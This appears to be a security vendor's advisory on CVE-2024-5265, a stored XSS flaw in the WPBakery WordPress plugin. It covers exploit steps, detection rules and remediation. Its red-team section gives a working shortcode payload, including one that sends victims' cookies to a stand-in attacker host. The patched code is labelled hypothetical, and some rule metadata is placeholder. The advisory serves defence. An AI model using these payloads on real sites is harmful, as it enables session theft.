CVE-2024-5265

Executive Summary

CVE-2024-5265 is a Stored Cross-Site Scripting (XSS) vulnerability in the WPBakery Visual Composer plugin for WordPress, affecting all versions up to and including 7.6. The flaw resides in the vc_single_image shortcode, where the link attribute is insufficiently sanitized and escaped. An authenticated attacker with contributor-level access or higher can inject arbitrary web scripts that execute when any user visits a page containing the malicious shortcode. This vulnerability is part of the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability affects a commercial WordPress plugin distributed via the WPBakery website and bundled with many premium themes. Since the plugin is not available on public package registries like Packagist, supply chain risk is limited to direct downloads from the vendor. Users should verify the integrity of their plugin files and ensure they are obtained from official sources.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: Required (Victim must visit the page)
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: Low

The medium severity reflects the need for authenticated access and user interaction, but the potential for widespread impact in multi-author WordPress sites elevates the risk.

Deep Dive & Mechanics

The vulnerability exists in the vc_single_image shortcode handler. When processing the link attribute, the plugin fails to properly sanitize user-supplied input and escape output. An attacker can inject JavaScript code into the link parameter, which is then stored in the WordPress database. When the shortcode is rendered, the malicious script executes in the context of the victim's browser.

The attack flow:

1. Attacker with contributor-level access creates or edits a post/page.
2. Attacker inserts the vc_single_image shortcode with a crafted link attribute containing JavaScript.
3. The malicious shortcode is saved to the database.
4. When any user (including administrators) visits the page, the script executes, potentially stealing cookies, redirecting to phishing sites, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (<= 7.6):

// In vc_single_image shortcode handler
$link = vc_build_link( $atts['link'] );
// No sanitization or escaping on $link['url']
echo '<a href="' . $link['url'] . '">...</a>';

Patched Code (Hypothetical):

// Properly escape the URL
$link = vc_build_link( $atts['link'] );
$safe_url = esc_url( $link['url'] );
echo '<a href="' . $safe_url . '">...</a>';

The fix requires using esc_url() to sanitize the URL and esc_attr() for attribute context, preventing JavaScript injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with WPBakery <= 7.6
• Contributor-level account

Exploit Steps:

1. Log in as a contributor.
2. Create a new post.
3. Insert the following shortcode:

   [vc_single_image image="123" link="javascript:alert('XSS')"]
   

4. Publish the post.
5. When an admin or other user views the post, the JavaScript executes.

Advanced Payload:

[vc_single_image image="123" link="javascript:fetch('https://attacker.com/steal?cookie='+document.cookie)"]

Blue Team

Detection:

• Monitor for posts containing vc_single_image shortcode with suspicious link attributes.
• Look for javascript: or data: URIs in the link parameter.
• Use WAF rules to block javascript: in shortcode attributes.

Hunting:

• Query the WordPress database for posts with [vc_single_image in post_content.
• Search for link="javascript: patterns.

Indicators of Compromise (IOCs)

• Network: Outbound connections to attacker-controlled domains from WordPress admin pages.
• File: Modified wp-content/plugins/js_composer/ files (if plugin is tampered).
• Database: Posts containing [vc_single_image with link="javascript: or link="data:.
• Logs: WordPress debug logs showing unexpected shortcode processing errors.

Detection Engineering

YARA Rule

rule wpbakery_xss_cve_2024_5265 {
    meta:
        description = "Detects malicious vc_single_image shortcode with XSS payload"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-5265"
    strings:
        $shortcode = /\[vc_single_image[^\]]*link\s*=\s*["']javascript:/i
        $shortcode2 = /\[vc_single_image[^\]]*link\s*=\s*["']data:/i
    condition:
        any of them
}

Sigma Rule

title: WPBakery Stored XSS via vc_single_image
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects stored XSS attempts via vc_single_image shortcode
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'vc_single_image'
        http.body|contains: 'link="javascript:'
    condition: selection
falsepositives:
    - Legitimate use of javascript: links (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"WPBakery Stored XSS Attempt"; flow:to_server; content:"vc_single_image"; http_uri; content:"link="; http_uri; content:"javascript:"; http_uri; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WPBakery plugin until a patch is available.
2. Restrict contributor-level accounts to trusted users only.
3. Implement a Web Application Firewall (WAF) rule to block javascript: in shortcode attributes.

Long-term Fix:

• Apply the vendor patch when released (update to version > 7.6).
• If no patch is available, manually patch the plugin by adding esc_url() to the link attribute output in vc_single_image shortcode handler.

Workaround:

• Use a security plugin like Wordfence to add virtual patching for this vulnerability.
• Audit all existing posts for malicious shortcodes.

Valters IT